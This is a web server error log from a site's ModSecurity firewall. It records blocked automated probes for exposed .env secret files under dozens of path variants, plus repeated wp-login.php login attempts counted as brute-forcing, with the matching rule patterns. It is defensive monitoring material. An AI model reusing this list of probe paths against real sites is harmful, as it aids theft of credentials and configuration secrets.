[Fri Mar 20 19:00:50.130289 2026] [:error] [pid 49080:tid 49092] [client 172.68.193.146:11988] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env"] [unique_id "ab0o4ok5CHi4V0A3ttjsLQAAAEY"]
[Fri Mar 20 19:00:50.401049 2026] [:error] [pid 49080:tid 49098] [client 172.69.186.100:9364] [client 172.69.186.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "ab0o4ok5CHi4V0A3ttjsLgAAAEw"]
[Fri Mar 20 19:00:50.895186 2026] [:error] [pid 49170:tid 49192] [client 172.68.193.146:11989] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "ab0o4s-c8ctLVDCqUJVmnQAAABI"]
[Fri Mar 20 19:00:51.172409 2026] [:error] [pid 49170:tid 49178] [client 172.69.186.195:11138] [client 172.69.186.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "ab0o48-c8ctLVDCqUJVmngAAAAQ"]
[Fri Mar 20 19:00:52.469296 2026] [:error] [pid 49081:tid 49129] [client 172.69.186.178:13899] [client 172.69.186.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.env"] [unique_id "ab0o5Bo1LBAUhfhYPR1xLgAAAQ4"]
[Fri Mar 20 19:00:52.499118 2026] [:error] [pid 49081:tid 49117] [client 172.69.186.125:9985] [client 172.69.186.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/private/.env"] [unique_id "ab0o5Bo1LBAUhfhYPR1xLwAAAQI"]
[Fri Mar 20 19:00:52.757508 2026] [:error] [pid 49081:tid 49118] [client 172.69.186.24:13897] [client 172.69.186.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env.local"] [unique_id "ab0o5Bo1LBAUhfhYPR1xMQAAAQM"]
[Fri Mar 20 19:00:53.261671 2026] [:error] [pid 51714:tid 51728] [client 162.158.95.119:13060] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.php"] [unique_id "ab0o5TWI82pxvQ0gksvUaQAAAIw"]
[Fri Mar 20 19:00:53.543722 2026] [:error] [pid 49082:tid 49142] [client 172.69.186.169:9521] [client 172.69.186.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.json"] [unique_id "ab0o5apllYJI1LUIdL-rigAAAUA"]
[Fri Mar 20 19:00:54.041046 2026] [:error] [pid 49080:tid 49089] [client 162.158.95.119:13065] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env_backup"] [unique_id "ab0o5ok5CHi4V0A3ttjsOQAAAEM"]
[Fri Mar 20 19:00:54.314740 2026] [:error] [pid 27302:tid 27326] [client 172.69.186.208:11738] [client 172.69.186.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env~"] [unique_id "ab0o5rDKiUve17xv6yFmDQAAANY"]
[Fri Mar 20 19:01:08.887486 2026] [:error] [pid 49082:tid 49145] [client 172.69.186.83:13649] [client 172.69.186.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.envrc"] [unique_id "ab0o9KpllYJI1LUIdL-rkQAAAUM"]
[Fri Mar 20 19:01:09.920091 2026] [:error] [pid 49080:tid 49107] [client 172.69.186.171:13404] [client 172.69.186.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production.bak"] [unique_id "ab0o9Yk5CHi4V0A3ttjsPwAAAFU"]
[Fri Mar 20 19:01:10.177729 2026] [:error] [pid 49170:tid 49191] [client 172.69.186.169:9604] [client 172.69.186.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod"] [unique_id "ab0o9s-c8ctLVDCqUJVmqwAAABE"]
[Fri Mar 20 19:01:10.676438 2026] [:error] [pid 27302:tid 27322] [client 162.158.95.119:12027] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev.local"] [unique_id "ab0o9rDKiUve17xv6yFmGQAAANI"]
[Fri Mar 20 19:01:10.937751 2026] [:error] [pid 49081:tid 49127] [client 172.69.186.170:9482] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.docker"] [unique_id "ab0o9ho1LBAUhfhYPR1xRQAAAQw"]
[Fri Mar 20 19:01:10.952946 2026] [:error] [pid 27302:tid 27312] [client 172.69.186.82:13099] [client 172.69.186.82] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.container"] [unique_id "ab0o9rDKiUve17xv6yFmGgAAAMg"]
[Fri Mar 20 19:01:11.430448 2026] [:error] [pid 27302:tid 27320] [client 162.158.95.119:12028] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/docker/.env"] [unique_id "ab0o97DKiUve17xv6yFmGwAAANA"]
[Fri Mar 20 19:01:13.973055 2026] [:error] [pid 49080:tid 49108] [client 172.69.186.100:13687] [client 172.69.186.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/srv/.env"] [unique_id "ab0o-Yk5CHi4V0A3ttjsRQAAAFY"]
[Fri Mar 20 19:01:13.978791 2026] [:error] [pid 49170:tid 49198] [client 172.69.186.31:9761] [client 172.69.186.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web/.env"] [unique_id "ab0o-c-c8ctLVDCqUJVmswAAABg"]
[Fri Mar 20 19:01:14.016465 2026] [:error] [pid 27302:tid 27325] [client 172.69.186.8:10805] [client 172.69.186.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "ab0o-rDKiUve17xv6yFmHgAAANU"]
[Fri Mar 20 19:01:14.234046 2026] [:error] [pid 49080:tid 49101] [client 172.69.186.194:13681] [client 172.69.186.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/site/.env"] [unique_id "ab0o-ok5CHi4V0A3ttjsRgAAAE8"]
[Fri Mar 20 19:01:14.241487 2026] [:error] [pid 49080:tid 49106] [client 172.69.186.168:12251] [client 172.69.186.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/www/.env"] [unique_id "ab0o-ok5CHi4V0A3ttjsRwAAAFQ"]
[Fri Mar 20 19:01:14.276192 2026] [:error] [pid 49080:tid 49107] [client 172.69.186.208:12312] [client 172.69.186.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/var/www/.env"] [unique_id "ab0o-ok5CHi4V0A3ttjsSAAAAFU"]
[Fri Mar 20 19:01:14.502440 2026] [:error] [pid 49080:tid 49086] [client 172.69.186.214:9380] [client 172.69.186.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/var/www/html/.env"] [unique_id "ab0o-ok5CHi4V0A3ttjsSgAAAEA"]
[Fri Mar 20 19:01:14.541135 2026] [:error] [pid 49080:tid 49105] [client 172.69.186.31:9765] [client 172.69.186.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/root/.env"] [unique_id "ab0o-ok5CHi4V0A3ttjsSwAAAFM"]
[Fri Mar 20 19:01:14.761524 2026] [:error] [pid 27302:tid 27304] [client 172.69.186.169:9606] [client 172.69.186.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env_config"] [unique_id "ab0o-rDKiUve17xv6yFmHwAAAMA"]
[Fri Mar 20 19:01:14.810380 2026] [:error] [pid 27302:tid 27311] [client 172.69.186.209:11736] [client 172.69.186.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env_secret"] [unique_id "ab0o-rDKiUve17xv6yFmIAAAAMc"]
[Fri Mar 20 19:01:15.026179 2026] [:error] [pid 49170:tid 49186] [client 172.69.186.83:12825] [client 172.69.186.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env_settings"] [unique_id "ab0o-8-c8ctLVDCqUJVmtgAAAAw"]
[Fri Mar 20 19:01:15.063394 2026] [:error] [pid 49080:tid 49100] [client 172.69.186.169:9609] [client 172.69.186.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local.backup"] [unique_id "ab0o-4k5CHi4V0A3ttjsTgAAAE4"]
[Fri Mar 20 19:01:33.943927 2026] [:error] [pid 51714:tid 51739] [client 172.69.186.214:9610] [client 172.69.186.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/home/.env"] [unique_id "ab0pDTWI82pxvQ0gksvUhgAAAJc"]
[Fri Mar 20 19:04:58.617641 2026] [:error] [pid 27302:tid 27325] [client 106.119.167.146:51126] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ab0p2rDKiUve17xv6yFm9wAAANU"]
[Fri Mar 20 19:29:26.772734 2026] [:error] [pid 27302:tid 27313] [client 50.87.144.115:24234] [client 50.87.144.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0vlrDKiUve17xv6yFvrQAAAMk"]
[Fri Mar 20 19:29:28.659589 2026] [:error] [pid 27302:tid 27321] [client 50.87.144.115:24234] [client 50.87.144.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0vmLDKiUve17xv6yFvsAAAANE"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 19:43:22.231634 2026] [:error] [pid 49170:tid 49193] [client 162.241.61.65:10230] [client 162.241.61.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.61.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0y2s-c8ctLVDCqUJVzQgAAABM"]
[Fri Mar 20 19:43:25.716344 2026] [:error] [pid 27302:tid 27311] [client 162.241.61.65:10238] [client 162.241.61.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.61.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0y3bDKiUve17xv6yFzTwAAAMc"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 19:47:43.191586 2026] [:error] [pid 49080:tid 49101] [client 108.167.132.40:38622] [client 108.167.132.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.132.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0z34k5CHi4V0A3ttj-RAAAAE8"]
[Fri Mar 20 19:47:46.987429 2026] [:error] [pid 49080:tid 49092] [client 108.167.132.40:38636] [client 108.167.132.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.132.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0z4ok5CHi4V0A3ttj-TQAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 20:01:20.352202 2026] [:error] [pid 49170:tid 49197] [client 162.241.2.74:52112] [client 162.241.2.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab03EM-c8ctLVDCqUJV5hgAAABc"]
[Fri Mar 20 20:01:22.254658 2026] [:error] [pid 49170:tid 49176] [client 162.241.2.74:52112] [client 162.241.2.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab03Es-c8ctLVDCqUJV5kAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 20:08:29.923950 2026] [:error] [pid 49170:tid 49183] [client 192.250.232.26:46076] [client 192.250.232.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.232.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab04vc-c8ctLVDCqUJV8xgAAAAk"]
[Fri Mar 20 20:08:32.624729 2026] [:error] [pid 27302:tid 27320] [client 192.250.232.26:51808] [client 192.250.232.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.232.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab04wLDKiUve17xv6yF4ywAAANA"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 20:13:33.292808 2026] [:error] [pid 49170:tid 49181] [client 216.24.212.14:22677] [client 216.24.212.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.212.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab057c-c8ctLVDCqUJV_UQAAAAc"]
[Fri Mar 20 20:41:33.067696 2026] [:error] [pid 38219:tid 38252] [client 50.87.144.79:10008] [client 50.87.144.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1AfXLdNs2F_zXG7H__EwAAAZY"]
[Fri Mar 20 20:41:35.016134 2026] [:error] [pid 38219:tid 38232] [client 50.87.144.79:10008] [client 50.87.144.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1Af3LdNs2F_zXG7H__FgAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 20:45:37.559227 2026] [:error] [pid 49080:tid 49092] [client 216.24.212.23:42371] [client 216.24.212.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.212.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1BcYk5CHi4V0A3ttgNRAAAAEY"]
[Fri Mar 20 21:13:43.225220 2026] [:error] [pid 49080:tid 49092] [client 216.24.212.38:56177] [client 216.24.212.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.212.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1IB4k5CHi4V0A3ttgS_QAAAEY"]
[Fri Mar 20 21:15:28.944336 2026] [:error] [pid 49082:tid 49153] [client 49.51.50.147:54956] [client 49.51.50.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ab1IcKpllYJI1LUIdL_PMQAAAUs"]
[Fri Mar 20 21:19:25.467504 2026] [:error] [pid 38305:tid 38315] [client 162.241.3.11:33056] [client 162.241.3.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1JXXguiB3cZkKG6iI-nQAAAcM"]
[Fri Mar 20 21:19:27.541288 2026] [:error] [pid 38305:tid 38317] [client 162.241.3.11:33056] [client 162.241.3.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1JX3guiB3cZkKG6iI-oQAAAcU"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 21:53:46.897162 2026] [:error] [pid 49170:tid 49178] [client 50.6.153.186:32376] [client 50.6.153.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.153.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1Ras-c8ctLVDCqUJWenQAAAAQ"]
[Fri Mar 20 21:53:48.647301 2026] [:error] [pid 49170:tid 49179] [client 50.6.153.186:32376] [client 50.6.153.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.153.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1RbM-c8ctLVDCqUJWeqgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 22:23:17.224428 2026] [:error] [pid 49080:tid 49103] [client 98.98.79.73:51982] [client 98.98.79.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.79.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1YVYk5CHi4V0A3ttgj4QAAAFE"]
[Fri Mar 20 22:23:24.669508 2026] [:error] [pid 49082:tid 49156] [client 98.98.79.73:52722] [client 98.98.79.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.79.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1YXKpllYJI1LUIdL_s2gAAAU4"]
[Fri Mar 20 22:41:03.736809 2026] [:error] [pid 49082:tid 49144] [client 98.98.79.73:59609] [client 98.98.79.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.79.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1cf6pllYJI1LUIdL_0SAAAAUI"]
[Fri Mar 20 22:54:52.874885 2026] [:error] [pid 38305:tid 38316] [client 98.98.79.73:52349] [client 98.98.79.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.79.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1fvHguiB3cZkKG6iJMxwAAAcQ"]
[Fri Mar 20 23:09:39.742105 2026] [:error] [pid 49170:tid 49182] [client 98.98.79.73:55460] [client 98.98.79.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.79.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab1jM8-c8ctLVDCqUJW29gAAAAg"]
